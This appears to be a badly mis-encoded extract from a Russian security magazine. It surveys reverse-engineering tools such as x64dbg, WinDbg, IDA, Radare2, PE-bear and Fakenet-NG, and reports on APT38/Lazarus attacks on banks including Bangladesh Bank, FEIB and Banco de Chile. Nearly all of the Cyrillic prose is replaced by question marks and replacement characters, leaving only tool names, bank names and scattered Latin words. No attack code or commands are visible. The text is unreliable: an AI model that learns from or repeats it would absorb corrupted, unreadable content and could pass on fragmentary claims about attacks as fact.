???�???�??� ?????.� ????�?� ??� ???????� ???�????�???�?� ?� ???�???�???.
??????�???,� ?????� ????� ???� ????????� ??????�?� ?� ????�???????�???� ??????,
??�???�???�??�????�??�??�??�??�??�???�???�??�??????.�?�???�????
???????�??�????�???�?�??�???�???�?�??�????�??�??�????�??????�?.
?� x64dbg� ????� ?????�????� ?????�??????,� ???�????�???�?� ????�??????
????� ?� ????� ???�?,� ???�?� ??????� ???�?� ????�???� ??� ???�??,� ??????,� ??????�
?????� ?� ???�??,� ???�???� ?????�????� ???�???� ??????�???�??� ????????� (???
x64,�??�爔86).��????,�??�???????��???�???????�?????�????�?��????
???�??� ???� ????,� ???�?� ????????� ???????�??�???� ????�??� ??????� Denuvo,
?�??????�????�???�?��???�??????!
?????? ??燨llyDbg
?�??�????�?�????�???????燨llyDbg��?�??�??�???,�??�?�??�???�???
????�??.� ??� ??� ???�????�???� ??� ???�????�??� ??,� ??� ????�??�???� x64.
??� ???�????�??� ???�?� ???�???�??� ???� ?????� 64????�??� ???�??� ?� ????
????�?????� ?� ????�????� ?� ??� ???�????�?,� ??� ???� ????� ????????�?� ?� ????�
??????� ???� ?� 2014� ????.� ?????�????,� ?� OllyDbg� ???�???� ?????� ???�?,� ??,
??� ????� ???????�?,� ???� ????�?.� ??� ?� ???????�??� kernel� mode� ????� ??????�
??????��??�????�???�??�?????燬yser燢ernel燚ebugger,��?��???�??�?
???�??�???�??燬oftICE.
WinDbg
???�????�??�???�???
??�?� ???�?� ????�?????� ????� ???� ????�??,� ??� WinDbg� ???� ???�??.� ????
????????�??�????�???�???燤icrosoft,��?�??�??��??�??燱indows燚river燢it
(WDK).�?�??�??�?????�??�????�???�??�??��??�??�????�??�??????
????�???.�????�??�?????�??�???�?�???????�?,�??�爔64dbg,�?��?????
?�??�??�???��??�??�??????�?�?�?????�?�爇ernel爉ode.
WinDbg
WinDbg�??�????�???�??�??�??�??????��??�?�??�?????�???�??�??�???�
????� ???�????� ?� ???�????� Microsoft.� ???�?� ???�???� ???�??�??� ???
???�??????�???�?�???�?�??�????�??�????,�????�??�?�???�???�?燰ir?
tualKD.� ?????�????,� ????????� ????� ?????�???� ?� WinDbg� ????�?� ???�???�????�
????,�?,�??�?�???????�?�??�?��??�???�??�?????�??�??�???�??�??
????,�?�??�????�?�???�?????????.
????�?� ?� WinDbg� ???�?� ???�????� ???�??????,� ???� ???�????� ??� ???� ????
???�?????� ?????�???,� ?� ???�?� ?????�??�??�?????� ???�???� NTAPI.� ?????�?,
??�??�?�???�?????�牜????�??粻???�???�??,�?�??�?��???�??????�???�
??????�???�????�??????�??�??�???�???�?�??�???�??�???�??????�?!�)
?????????????
????�?� ????�??�???� ????� ??????� ???� ???�??�??�??� ???�????�???� ???�???
????.�?�????�?????�???�???��????�??�??�???�????�?�??�????�???�
??,� ???� ?� ???????�???,� ??� ????????� ???�?� ????????� ??????�??� ?� ????
???????.� ????�?????� ????�???� ????�????�??� ??????�????� ?� ???� ?????�???�
????� IDA� Pro.� ???�??� ???�?� ??� ???�??�????�????� ??????�?� ????�????
???�??????????�????�?燫adare2�(????�??�??�??�???,�??燫adare2�?�????�
????營DA).
IDA燚isassembler
hex?rays.com/products/ida
??�??�??�?� ???� ???�??� IDA� ?� ????�??� (Pro)� ?� ???�???�??� (Starter).� ????�
????�??� ???�??� ???�???� ??� ???????�??� ???�????�?????� ????�??�??� ?� ???
??????�?� ????�?� x86,� ???�?� ????,� ???� ??� ???�????�???� ???�???.� ????�??
???�??� ??????� ?????�??� ????�???�??:� ???� ???�????�???� ???�?????�??
???????�??�???�??�??�??�??�????��??�???�?�??�??�???�??�??????.
IDA
?營DA�???�????�????�???????,�???�?�???�???�??�?�?????�??�???,�?�
???�??????�???�???????�?�??�??�?�??�???�???�?.�??�?營DA�????�???
????�???�????� ?????�???�?� Hex?Rays� ?� ?????�?????�??� ???????�?� ????
???�???�??��??�?燙.�??�????�??�??�????�????,�??????�??�?????�?
????�???�??�??�???�????.
?� ?????� IDA� ?� ???�??�??� ?� ????�????� ????�???�??�??� ???�??�???,
???????� ???�????�?� ???�?� ???.� ????� ????�?,� ???� ???�??�??????�??� ???�??
???�?� ?� ???�??� 500?1000� ???�????� ?� ??????�??�?� ??� ????� ?????�??� ?� ????
??????�?�??�???�?.�??�?????��?????�???�??�?????�???�??�????.�?)
Radare2
rada.re
Radare2�???�???�?�?????�??�?�??�???�??爃ex??????�??,�?�?�?????�
??????� ????� ???� ?????� ????�????,� ???????� ???????� ????�?????� ?� ??????�
???�??�?????� ?????� ???�??� ???,� ????�??� ???�??�?� ??????�??,� ??????
?�???�?.
Cutter�+燫adare2
Radare2� ?� ???� ?????� ???�???�??� ???�??,� ?� ???????� ???�??� ????????,� ??????�
???�???,� ?????�??????,� hex??????�??,� ????�???�??� ???�??????,� ???�???
????�????�????�??�??�??��??�??�??�??.�??�?????�燝UI�???�??????�
???� ????�???�?� ???� ???�???�?� Cutter.� ???� ???�?????�?� ????�???� ????�??
???�???�???�?��??�???�?燫adare.
????�????�??�????�???�???�??�??�?�??�??�????��???�???,�???�
????�?� ???�?� ?????� ???�??????� ???�????�??� ????� ?????� ???�??�??,� ???� IDA
Pro.�???????�???���??,�??�???????�??�?????,�??�???�????�????
???�??�??��??�????�???�?�?????�???�??�??.
???????????????�??????
??�??�???�???�???????�??�??�??�?,�?�?????�???�?�???�??�???�???
???� ???�???�????� ???�??�????,� ???????� ??????�??,� hex??????�????� ?� ???
???�?�???�???�???�??�??�??.�????�??�??�?�???????�?�??�????�???�
?????.
Detect爄t燛asy�(DiE)
ntinfo.biz
???� ????????� ????�????� ???� ????�???�??� ???�??�????,� ???????� ???�?
????�?� ???????� ?????� ?????�??� ???�???.� ???�????,� ???� ???�???�?� ?????�
?????�???� ?????�??� ???�??� ???�??,� ???� ??????�?� ????�??�?� ????�?????
???????�??�??????.
DiE
???�?� ?� ???� ????� ????�??�???� ?????�??� ?� ???�????????� ???�?� ??� ????.
???�?� ???�?� ????�????�???� ???�???� ???????,� ????� ???�??�??� ???�??????
?�????�??.�??�???��??�???�?�??????�??�???�????�??�????,�???�???�
????�??????�??�??�??��??�??�??�??�??�??�????燩E�燩E+.
??�??� ????�?� ????� ?� ????�????� ???�?� ???????�???,� ??� ????�?� ???�???,
???�?�??�?????,��??�??�????�?�??�?�????�??�??!
INFO
???�???� ??????� ?� DiE� ??� ??????� ???�??????
?�???�??�???�??�????�?:牜???�??�??�????�?.
?????�???�??�?????�????�?�??�???�??????�
????燝lobeImposter�0粻?牜??�???�??�??�????�?.
???�????�?????�??�???�??�???燝ootKit�.
ExeInfoPE
exeinfo?pe.en.uptodown.com
???� ???� ????� ?????�??� ???????� ?� ???�??�????.� ?� ????� ??????�?� ???�???�
??????�????????,�??????�??�??�?�?�??�?�?�???.�???�???�????�???�
??� ???????�???,� ?� ???� ???�?� ????�??�??� ???�???� ?� ????� ???�????�??� ????�
????�?�?�??�????�?.
ExeInfoPE
?� ?????,� ?� ??� ??????�??�????� ExeInfoPE� ?????�??.� ?� ???� ????� ????� ?????�
????�??�??�??�????�????,��???�????�???�??�??�??,�????�??�??�???�
???�??�???�????�??�?????.
??��????�?,�????�??�???�??�?�???�???�??�???�????�??�?????�??:
????�??�???�??????�??�??�??,�???�???�??�??,爃ex?????�??�???��???
??????�??� ???????�??� ??????�??� ?????�????� ???�??,� ????� TerminateProcess
?�??�???.�???�???�??�??�??�??�????.
HxD
??�??�??� ???�???�?� ????�????????� ????�???�?� ?� ???�??�?� ???�?,� ??????
???� ???�???�??� ?� ?????�??� ??????.� ?????� ??� ??????� ???�????� ???�????�
???????�??� ?????�???,� ?????� ????�??�???�??� ???????� ?� ????�???� ?????�
?????燞xD.�??�??�???�?,�??�???�?�??????�???,�??�????�???�???????�
???�??�???,�?????�???��???�???�??�????�???????�??.�???��???�
???�???�??�???��??�????,�??�???????�????�???�??�????�??�??�(??
????� ??????�??� ??????).� ?� ???� ?� HxD� ????� ???�????�??� ???�??,� ???�?� ????
????�?�??�???�?�???�?.
HxD
HIEW
hiew.ru
Hex??????�??� ?� ???�??� ????�???,� ??� ??� ???� ???� ???�????�?????� ????�
?????�?????.��???�???�???�??��??�???�??�??�??�(20�??�????�??�???�
??????�?� ???????�??,� 200� ???�????� ?� ?????�????�?� ?????�???).
?????????� ?� ???�?� Norton� Commander� ?????� ???�???� ????�???� ????????,
??��??�??�??�??�????�?.�?????�?�???�?�??�???????�???????�???�?
?�??�????�?,�??????�??�??�???�?�??????�??�????.
HIEW
Pestudio
winitor.com
???�????�??�???�????,�??????�??�??�??�??�??�???.�??�???�????�
???�?� ???�???�?� ???�????�??� ????�??� ???�?� ??� VirusTotal,� ????�??�?� ?????�
????�?�?????�?????��??????�??�??�???�??�??�???�??�???�??????,
??????�???� ?????�??� ????�???� ???�???�??,� ??????�?????� ???�????�?
?�??????�??�??????�?燩E????�?.�????�?�??�?�???????��????�???.
???�???�??�???,�??�??�????�??�????�??�???�????�??�??�???�??????�
????�??�???�??�???.
Pestudio
PE-bear
????�???燩E?bear��??�?�??�????�???
???� ????� ????�??�??� ????�??�???� ?� ?????�??� ???�??� ???�???� PE
?� PE+.� ?????�??� ???�???�??� ???????� ?� ???�??�????,� ????�???�?� ????????�
???� ?� ???�????� ???????�??,� ?????�??� ?� ???�???.� ???� ???????� ???�?� ????�
???????� hex?????�???�????� ???�??� ???�??� ?� ?????�??�??�?????� ??� ?� ?????�
???�??�???�?�????�??�?.
PE?bear
?� PE?bear� ???�????� ?????????� ?� ???�????� ???�???� ???� ????�????� ???�??.
?????�???�??� ?????�????� ?� ????�????� ???�?� ???????�???,� ????� ?� ???�?
?????�??�???????�??.�??�??,�???�??�???��??�??,�???�?�?????�???�
??????�??.
Fakenet-NG
??�???�????�?燝itHub
???�???�????�???�?????�??�???,�??�?�??�???�???�?????��????.
???� ???�????� ???�???� ???�???� ???�?� ???�?� ????�????�???� ???� ???????
????�????:� ???�???� ??� ???�?????� ?� DNS� ?� HTTP,� ???�???� ???�??� ?� ?????�
??????� IP?????�?� ???????�???� ???�????� (????� ???,� ???�????,� ???????????�
????).� ???�????�??� ??????� ??� ?????�??� ???�????� ???�??� ????� ?????�???
??� ????,� ?,� ????� ?????� ???� ???????,� ??� ??� ?????� ??????� ???� ??,� ???� ????�?
????�?.
Fakenet?NG�??�???�?�??????�???��??�????�???�?,�??�??�??�??�???
???�?�?????�?????�?�????�??�????�??�?.
Fakenet?NG
ProcessExplorer
???�????�??�???�???
????�???� ???� ????�???� Sysinternals,� ???????� ??????�??� ????�????
?�??�????�??�???��??�??�??,�???�?�??�????.燩rocessExplorer�??????
???�??�??�?��??�???��??�?�????�????�???�?????,�??�?�??�?�??�?
????�?????,��????�????�?�??�????�???�?.�??�?�??�?,�??�?�?????,
?????� ??????�??�??� ???�????�?� ???�??�???� ?� ???�??�?,� ???�??�???,� ????�
?????�??�???,�?????�??????�??�??�???��??�??�??�??.
ProcessExplorer
RegShot
??�???�????�?燬ourceForge
????�??�???�????�??�?????�??�?�???�????��???�??.燫egShot�????�
??� ????�?� ??� ?� ???�?� ??????� ????�???�??�?� ????� ???�???�??,� ?� ?????
??????�???,�??�???�???�????.
TCPView
???�????�??�???�???
??�???�??� ????�????� ???� ??????�??�?� ???????� ????????�?� ???�???�??.
???�?� ????�???,� ?????� ???�?� ?????�???� ???�???�??� (??????�??� ?� ???�???�
???),� ?� ???�?� ???�???�?,� ????�?????�???� ???�??�??� ?� ????�???� ???????�
??????� ???????.� ?� ?????,� ????� ??� ?????�??�??� ???�??�??�??� ?� ?????
?????�???�?????!
TCPView
Resource燞acker
angusj.com/resourcehacker
??�????�??� ????�????� ???� ?????�?????�??� ?????�??.� ???�???�?� ??????�
????????� ????????,� ????�?,� ???�??�??� ?????�????� ????�?,� ???????�??
?� ???�???� ?� ???�??� ???�??.� ?????�???????� ?????�?� ???�???�??� ???�????�?
??�??�??�?,�?,�???�??�?�??�?????�????�??�?,�??�???�????�??�????
???�??????�??�??�???.
Resource燞acker
?????
??�??�???�???�???????�????�??�??,�??????�?????�???�?�??�??????
????�???�??� ?????,� ???�??�??� ?� ?????�??.� ?� ?????,� ???� ??� ???�??� ?????
???� ??????�??�?� ?????�???� ????� ???�???�??� ?????� ???�????�?.� ?� ????�?
?�??�??�????�??�?��???�???�???�??�??�??.
???�??� ?????�???� ???�????�?� ???�????� ?� ????,� ???� ???�???� ???�??
???????�????�???�??�??� ????�????,� ???�???� ?� ?????�?� ????.� ??????
??� ???� ????� ?????� ????� ???????� ?????�??,� ???????�???� ?????.� ????� ???�??
?�????�??�??????�??�??�?????�???????�?�???�???�?�??�??�????�??
????�????��???��??�????�???!
?????
yambuto
tikusa@gmail.com
??????�?????
zlicin.v@gmail.com
?????
??-??????????????
???�??????????燗PT38
??????�?�?????
?????�????????�???????
??�?�?�???�???�??,�??��????�??�????�??�??�?�??
?????�??�?,� ??� ?????� ??� ???????� ???� ???� ??� ????�?
?� League� of� Legends,� ?� ??� ???�??� ???�??� ????,� ??� ??� ????�
?????�?.� ??????�????�???� ??????� ??????� ??????�???
?� ?????�??� ?� ????�??� ????�??� ?????�?� ?� ???�??�?� ?� ??????�
???�?,��?�???�?�??�??�???.�???�?燗PT38�?�?????�???
??????�?�??�??�?�???�?�??�?�??�?????�??�????�???�
??�?�??�??.�??�??�??�??�???�??.
??�??�?� ??� ???�?� ???�????� FireEye� ???� ????�??????� ???�??� Un?usual� Sus?
pects� (�?????�??� ?????�???�???�),� ???� ???�????�?� ??????�?� ?????�????�
????� ????�????�?� ???�???� ???� ???�?????� ???????�??� ?� ??????�????�???
???????,�??�??�???�???�?�?�?????��??�??�??�?,��???�??,�?????�???.
????�?� ??� ????�????� ???????� ??� ???�???� ?????� ???�?� ????????� ??????�??
????�????�?,�??????�???�?�??�?????��???�???�??�????�??�???�?
Lazarus燝roup.
INFO
FireEye� ??????�???� ?� ????�?????� ??????
?� ??????�???� ?????�??????�?????.� ???�????
??????�?� ??????�?� ?� ????�???� ???�??� ?????�??
??�???�?燜ortune�0:�??�?�?�??�????燳ahoo,
Microsoft,� P?zer,� eBay,� Adobe� ?� ????� ???�?????�
????�??�????.
??????��??????????
????�??�????�??�???��???�?�??38,�??????�??�???�?�??�?�?�?????�
?????�???�????�??,��??�???�?�????�??�??�???�??�??��??�?�???????
????,� ?� ???� ???�?� ??� ???�??????.� ???�?????�?� ????�?????�?,� ???
?� 2014� ????� ??????� ??� ???38� ????�?� ???�?� 1,1� ???�???�?� ???�????!� ???�?
??????�?� FireEye� ??????�?� ????�?� Lazarus,� ???????� ????�???� ?????� ????
?� ???�?????�???�???� ??????� ????�??� ????�???�??,� ???�????� ?� ???????
WannaCry.� ???�?� �?????粻 ???�???�???� ???�?� ??� Sony� Pictures� ?� 2014� ????.
??????�???�????�?燭EMP.Hermit�??�????�???�???�?�????�??�??�?��???�
???�?�??�??�??��???????�???�??�??�???.
???�?�????�??�??�???�????�?,�????�????,�??�???.��??�???�?,�???�
????�?�0�???��??�????�?燱annaCry,�??????�???�???�?燣azarus,��???�
????� Whiteout,� ???????� ????�???�?� ???38.� ??????� ???�?,� ??????�?� ???�?
?????�????�??�??�??�??�??�??�??��??�????燤acktruck�爊estegg,�???�
???�??????�???�????�??燭EMP.Hermit��??38�???�???�???�?.
???�?��??�?�??�????�?�??�?�???�??38
???�?????�?燜ireEye�?�??�??�?????�???�???�?��??�???�??�????�??
???�???,� ???????� ???�??�????� ????� ???38.� ???�?� ????�?� ??????�???� ???
???�????� ???�?????� ?????�???.� ????� ????�??� ????�???� ???�???,� ???�???,
???�?????��???????�???.�???�?????�????�??�??�?????�?�?�?�????�
????,�???�?�??�?????�??�???�??�???.
??� ???�??� ??????�??� FireEye,� ????�????�?� APT38� ???�?????�???� ?????
????�?� ??� ?????�????� ????�????�???,� ??????� ???� ??� ????�??� ??????� ?
????????� ????�?� ??� ?????�????� ???�?� ????�?.� ?????� ?� ?????� ???�???
??� ???�???� ???� ????�???� ???�?????� ???�???�?� ????,� ?� ?????� ?� ?????
????� ????� ??� ???�??�??.� ?� ???� ???????� ???�???,� ???� ????????� ???�????�?
�??????�?�.
INFO
?� 2013� ????,� ???�?� ???�??�???� ????�????
??????�????�???� ????�??� ???�?,� ?????
???????�????� ???� ????� ?????� ???�???� ???�??
????.� ??????� ???� ????????� ??� ????�?� ????�??
???�??????,� ??� ?� ?????�??� ??????�??,� ???�????�
????� ?� ?????�??� ?????� ??� ???�??????�??
?????�????�??�???.
??�??�???�??�???�??38,�??�?????�??�?????�???,�??�?,�??�?????�???�
???�?�????�?????�?�?�??�?.�???�?�??�??�?�??�???�???�???�??燭EM?
P.Hermit�燣azarus,�?��???�??�??�???�??�??�?�???,�??��???�???�???�
?????�???�??�??�???�????�?�??�??�?�????.
2014�??��?????�???????�???�??????�???
????�?� ???�???�??� ???�????�?� ????�???� ????�????�?� ???38� ??� ???�??� ????�
???,�?���????�????�????�??�??�??�???�?�???.�?�??????�??燜ireEye,
????�?� ??????� ??????�???� ?� ????�??�???�????�??� ???�???� ????� ??????
?� ????,� ???�???�??� ???�????�?.� ?� ?????� ??� ???�???� ???�?� ???38� ???�???
??????� ???�????� ???????� ??� ???�???�??� 155� ????,� ????�?� ???� ?????�???
???�?.��????�???�???��??�?�??�???,�8�???.
??� ?� ??� ???�??� ???� ????� ?????�???????� ???�??� ?????,� ???�??� ???�?
??????� ????�?� ???�???,� ???� ??????�?� ?????�????� ???�???.� ???�????,
?� ??????� 2014� ????� ???� ????�???� ???�??� NESTEGG� ?� ???�??�??� KEYLIME
?�???�?�??�??��??????�?????�???,�?�?�??�?�?燬WIFT�???�??��?
???�?.
????�?�?????��??�???�????�????�?�?????�??.�??�??�??�?,��???�
??� ????�??� ?� ???38� ????� ????�?� ???�?????�??� ???� ????�????� ????�??�??
?????.�?�???�?��???�??,�??�???�?�??�?????�???�?????????�?�???�
????�??�??�??�??.
???�????�??�??�??�??38,�??�??�??�?????�???�??�??�????,�?????�
????�??�?????�??�??��???�?????�??�???�?????�??,��??�?�??�?????�
?????� ?????� ???�?� ???�?,� ???�?????�?� FireEye� ????�?� ??????� ?� ????�??
???????�??�??�?????��???�??�????�???�???�????�?�?�??�?�???.
??? ????? APT
APT� (Advanced� Persistent� Threat� ?� ???�????� ?????�????� ????�?)� ?� ???� ?????
???????�?????�??�???�??�??�???�????�????�??�????�??�??.�??�????�
??� ???????� ???�???�?� ????�???�???,� ???�?????�?� ?� ????�???� ???�??�?
???�???????�??�??�????.
???� ???�?????,� ??????�????�???� ????�????�?� ????�??�?� ????�?� ?� ???�?
????,� ?????�?� ??� ????�?????� ???� ???38.� ????�?,� ????�?????�???�?� ???�???�
????� ????�????�?� Fancy� Bear� ??????�?� ???�?� ???28,� ??� ?????�???� ???�??
???�?�?????燦otPetya��??�?�?�???�?????�???�???�?????.
???�?????�?燗PT�????��????�?????牜WTF爄s燗PT?�???�??????�??�?,
???�????��?????�?????�.
???????�15�???��??????�?????�?????????�????
TIEN燩HONG燘ANK
??�???� ??� APT38� ??�???�???� ?????�?� ?????� ???�????� ????� ?????� ???�???
SWIFT� ?� ????????� ??� ?� ????� ??� ???�??� ???�????,� ??� ???�?� ??� ???�??????.
???�????�?燭PBank�??�???�?????�?�????�?????�??�??�????��???�????�
??�??�????�??????.�???�??�???�?�???�??�??�?�??�?�???�?????�?,�??
???�???�?????�?��???�?�?�?�???�??�??�????�??,�???�????��??????
???�????�????�????�???.
???�??�??�??�??,�??�?�?????�?????�?????�???�??�???�(DYEPACK)
???� ???�????� ???�??.� ????� ???�??�???� ???�???�?� ??????� ??????�??� ???�??
?� ?????�?????� ?� ???�???� SWIFT� ????�????�?,� ???�?� ?????�????�??� ????�?
????�??�???�???�?????.
SWIFT
SWIFT� (Society� for� Worldwide� Interbank� Financial� Telecommunication� ?� ??????�
???�??�??�??�??�?????�???�????�????�??????�??�?)��??�??????�??
???�?????�???�??�???�?????�?�??????�??��????�????�??�????.�??
???�??????�?????�???�?�??��70??�????.�????�??�???燬WIFT�???????�
??� ?� ????�???,� ?� ???�???� ????� ?????�????�??� ?????�???� ?????� 9� ?????
???�??�?�??�?�???.
SWIFT��???????�??�???�??????�?�??38��???�?�??�??�???�???????�
???�?� ??� ???�?� ????.� ?� ????� ???�???� ???�??�???� ?????�?� 11� ?????� ???�??
?�????�????�???�???�??,��??�???�?�??????�???�??�???�??燬WIFT????.
???�???� SWIFT,� ??� ????,� ??????�?� ??� ???�?� ?� ???�?� ????�????,� ???�??�??
??????�??,� ???????� ???�???�???� ?� ????�???�???�?,� ?� ???�??� ????�?????
????�??????�?�???�???�??�????.
??�???�?燗PT38�??�???�??�???,�??????�??�?????�?�???�?�????�???
????�?????�??�??� ????�????,� ??� ?� ????�???� ????� ??� ??????�?.� ???�??� ??
???�?????� ??� ????�?� ???�???� ??????� ??� ??????�?� ???????,� ??� ?� ???�???�???
????�????,�??�??????�???�???�?????.�??�????�???�???�???�??????�
????� ???� ????�??� ??� ??????� ?� ???�????� SWIFT,� ???�?� ???�???� ???�???,
??????�??�?��???.
???????�16�???��????�?�??????????�???
?????????
??�???� ??�?????� ???????� ??� ??� ???�??�??� ???�?� ???�???�?� ???�????,
???????�????� ?� ????????�??� ?????�???� ???�?� ???????�?.� ???� ??????�
????� 35� ???�????� ??� ???????,� ??� ????�?� ????� ??� ???� ????� ????�???�?.
?�?????�???�??�??�??????�???�?????��??�???�??�????�???��?????�
???�???�???�?�?????�??�???�??�?,��???�??�????�???�????�??�????�
?????�?�??�?�?�?????�?�???�?.
??� ??????� ???�???� 20� ???�?????� ???�????� ???�????�???� ?� ???????�???�
????�??�???�??�????燬halika燜oundation.�?,�???�??�???�??????�??�???�
??,� ????�??�???�?� ???�??�?� ???�?� ???�???� ????�?????� ??� ???�??�?� ?????
??� ????� ??????�?.� ???�????� ???�??�??� ??????�??,� ???�?????� ?????�???
Deutsche� Bank� ???????,� ???� ??????� ???�???�???,� ???????� Fandation� ????�?
Foundation,��??�?????�??�????�?????�??�???�?????.
??�??�????�??�???�?????�??�?�???�???????�??�?�??�???�??�???�
???�??�?� ???�?,� ???� ????�?� ???38� ??????�?????� ??� ????� ???????.� ?� ????
???�?�??�???�?????燬WIFT�??�???�???�?�????�??�??�????�??��??�?
???,� ?,� ???�?� ??????� ???�?,� ???�???� ???�?????� ?� ??????� ????�???.� ?????
???�???�????�??� ?????� ?????�??� ????� ?� ?� ???�??�??� ???� ???�???,� ?� ?,
???�??????� ?� ??????,� ???�????�?� ???�?� ????�???�?� ???�??�??� ????�????
??�??�??????�?.
???�????�???� ????�?� ????�???� ???�????� ??� ?????�?????�??� ???�??�??
??????�??,� ??,� ??� ???�??????� ????�?� ??� ??� ???�??�??,� ????� ??� ?????�??.
?????� ????�??,� ?� ????�????�??� ????� ???�????�?� ???�???,� ???�?� ????????
???�?��????�?�???�??�??�???�?.
WWW
????�?????�??�??�??�?�?�??�?燬ecurityLab
�??�?????� ????�????�?� ????�???� ???�???�?� ?� ??????�???� ???�???�??
?�??�???�?�??�??�?�??�??�???�??��??�??�??�??�??�??.�??�??�????
???� ???�?� ????????� ???� ??� ?????�???,� ???� ?� ?� ??????�???� ??????�???,� ???�?
???�????��?????�??�??�?�???�????�,��??�???�??�????�??�???�????
SWIFT.
????�?,�??�?�??�?�????��?????�?�??�?�??�?�??�????�???.
???�?� ???�?� ????�??�???�?� SWIFT� ????�???� ?� ???�??� ???�?� ?� ??� ??????�
??????� ???�?????�??� ????� ??� ????�???.� ???� ???�???????� ???????� ???�?,
????�?� ????�?� ???�??????� ???� ???�??�?� ???�????�??� ????�?????� ???????�
????????� ????�?� ?� ???�???� PDF.� ?� ????� ???�??� ??????� ??� ???38� ????�???
????�????� ?� ????�??�???� PDF� ???,� ???�?� ?????�????�??� ??????�?
??� ????�?????� ?� ????�?.� ???� ???�?� ???� ???� ??????�??�???,� ???� ??????�?
??????�???�??�???��??�???�???��???�?????�??�??�??�???�??�?.
??�??�??�?�??�?�??38
INFO
???�??�??� ???�???� ???� ?� ?????� ??� ????�??
????�????��16�???�??�???�?�???�???�???
???�???�??�??� ???�?????�?� ????.� ?� ????????
???� ???�????�??� ????�???�??� ??????�?
??�????�??�????�?�???�???�??�??�????�?.
??�?????�??�??????
??�???,��??�??�????�??�??�??�???�??�???�??�??�??�????�????�???
???????�??�???�???�??�????�???�?.��??????�16�???�??38�?????�?
??????�?????�????�??�??�???��??�?�???爓atering爃ole�(???????).�????
???�?�??�???�?�??�????��??�????�??�????,�??????�??�??�?��??????,
???�????�?????��????�??,�??�??�??�?????�?.
??�???� ??� ????�???� ???�????�??� ??� ??� ???�?,� ????� ???�?� ???????,
??????�?� ???�???�?� ????�???�?� ???????�??� ???�??.� ???38� ??????�?????
?�????�??牜??????�?粻????�???�???,�??�????�???�?????�?�???�??????�
???,��??�??�??�???�?�???�???�??????�???�??�?��16�???.�??�???�
??� ???�???�???�?� ???�?� ??????�?� ????�??�???�?� ?????�????� ???�????
?� ???�??,� ????????� ???????�??� ?� ???�??� ???�??� ?� ICO.� ???� ?????�?� ????�
????�???� ??� ?????�???� ???�??� ??� ????� ???�???� ?� ?????�??,� ?� ???�?� ??� ????�
???.
???? ???? ?�???????
?�17�???�??�???�???�???�??????�???????�??????�?�???�??�????�
???,� ?� ???�?� ???�???�?� ???�????� ???�??�???� ????�??�???� ?� ????�???
??????�????�??�?�?????�?.�??�?�??�??�???燬WIFT�??�?????�??�???�?
???�??� ?� ???�???� ????� ??????�????�???� ???�??.� ?????�???� ???�??????
?????�???� ???????�?????� ?� ????� ???�????�??�?,� ?� ?????�???� ???�?� ????�
????�??�???�?� ??????� ?� ??????�????�??�?� ????�?????� ?� ???�???.� ????
???�??�???�???�????�??�??.
???????�17�???��????�?�??????????????
?????????????�???�(FEIB)�?�??????
???� ????�???�???� ???�??�??????� ??????� ??�???�?????� ???�?????�??�??
??????,�??�????�???�?�?�???�???�?�??�???�??�??�?�??????�??燨f?
?ce� ?� PDF.� ??� ?????� ????� ????�?� ????� ??� ???�???.� ???�??�??� ?� ????� ???�?
?????� SMB,� ???� ????�???� ????� ???�?????� ???�???� ?� ???� ?????� ????� ????
??????�?�???�??�??�??�?�???�???�????燬WIFT.
??�??� ???�???� SWIFT� ??????� ?????�???� ???�???�?� ???�??�??� ??????�??
??� ?????� ???�?� 60� ???�?????� ???�????� ?� ???�?� ???,� ???�????
?� ???????�?.� ????�??� ?????� ????�?????� ??� ????�?� ?????� ?????�????
?�????�????�?????�??�?�???�??????�??�????,�??�??�??�???�???�???
?????�???�??�???????�??�???�?.
???�??�??�???� ??????�????� ???�???� ?????� ?????� ?????,� ??????�??�??
??� FEIB,� ?� 195� ?????� ???�????,� ??,� ???�?� ???� ???�?????� ?� Bank� of� Ceylon
??� ??????�???� ????�???,� ??� ???� ???�?� ?� ?????�?????.� ???� ??????�???
????????�??�??????��2�??�????�??�????�???�??�????�?????�?.
???� ????�?� ???�?� ????� ????�???�?,� ??????� ?????�???� ??� ????�?????� ????
???�?� ??????�???�??�??� ???�??� ???�?????�???� Hermes,� ???????� ??� ????�
????�?� ?????,� ?� ????�?????� ????�????� 獸inish� work粻 ?� ???????�?� ??� ????
?????�???�?�???��??�??� UNIQUE_ID_DO_NOT_REMOVE.�????�???�??�??
?????�?????�??�?????�??�?��??�????�?�??�??�???�??.
WWW
???�??燤cAffee�?�???�??�?
????�?????�????�??�????燘AE
??????�18�???��??????�?????????燘ANCOMEXT�
???????
??�????�????�?????�??�?燘ancomext�??�?�?????�?�??:�?????�??�???�
?????�?�?�???�?�???�???�???�????�??�?,�???????�??????�??�?????
????�???,� ??????� ???�?????� ?� ?� ???� ?� ????� ????� ???�?� ????�?????� ???
?� ????� ???� ????�?� ????�???.� ????�?� ??????� ??� ???38� ????????� ???????
?燘ancomext�????�0�??�?????�??�????.
??�??�?,�??�??????�??�???�???��???�????�??�????�?�??�?????�
???�?�??�?��???�?�????�???�??�??.�??�????�?�??�?�??�???�?????�?
?????�?????�??� ????�?????� ?� ???�?????�???� ???�??.� ??� ?????�?,� ???
?� ?????� ????� ???� ????� ????� ?� ?????�??� ????� ??� ???� ????�?????� ???�????
???????,�??�??�???�?�?�???�?�????�???�?.
???� ??� Bancomext� ????�???� ???�??�?� ???�???�?????� ??????� ??� ?????�
?????� ?????�????�??:� ???�????� ????� ??????�???,� ?????�???� ?????�???
??� ?????,� ????� ???�?????� ???????� ?� ???�????� ???�??,� ???� ???� ???� ??????
??� ????�???.� ??� ????�?� ??� ????�??� ??� ????� ?� ????�????� ?� ?????�???�??�?
???�??.
???�????�???�?????,�??�???�??�?�???�???�??�???�???�?�?�??�?
???????�?�????�?�?????�?�????��?????�?�??38,�??�???�?,�??????�
??� ???????�??� ?� ??????� ???�?,� ???�?� ?????�?� ??????� ??????�????� ?????�
?????�??.
???�???�??�??�?????�??38
???�18�???��??????�?????????燘ANCO燚E燙HILE
??????????�?� ???�?� ???�???� ????�???� ??�???�???,� ??� ?????� ????�???,� ???
????�??�????�????牜???????�.�??�??�????�??�????�?�??�?�??�??????�
??��??�????�????�????�??�?�????�??�??,�?�??????�????�?,�??�???�
????�???�?爉aster燽oot爎ecord��??�???�????�???�??�?????�?.
???�?� ????,� ??� ?????� ?????�???� ??????� ????�?????�?� ?????�??� ???�???
???????�?� ?� ???�????�??� ???�?.� ??� ???????�?� ????� ?????�?,� ???� ???�?
??????�?�????�????�????�????�??�??��0�??�????.�?????�??????�
??????�??�??,�????�???�??燢illMBR�??燢illDisk,�??�?�?�???�???�??????
????�????�??�???�??�??.
????�?�??????�????�??�?�???????�?�????�?????�?????��???????
